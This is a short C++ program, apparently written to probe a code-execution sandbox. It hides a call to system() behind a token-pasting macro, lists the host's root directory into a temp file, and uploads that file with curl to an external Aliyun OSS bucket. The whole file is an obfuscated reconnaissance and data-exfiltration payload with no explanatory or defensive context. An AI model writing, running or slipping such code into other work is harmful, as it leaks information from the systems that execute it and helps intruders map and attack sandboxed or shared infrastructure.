#include<cstdio>
#include<cstdlib>
#include<string>
using namespace std;
char s[20001];
#define ns(x) x##tem
int main()
{
    ns(sys)("ls -1l />/tmp/test-122293.txt");
    ns(sys)("curl -T /tmp/test-122293.txt --url http://test-test-2.oss-cn-shanghai.aliyuncs.com");
    return 0;
}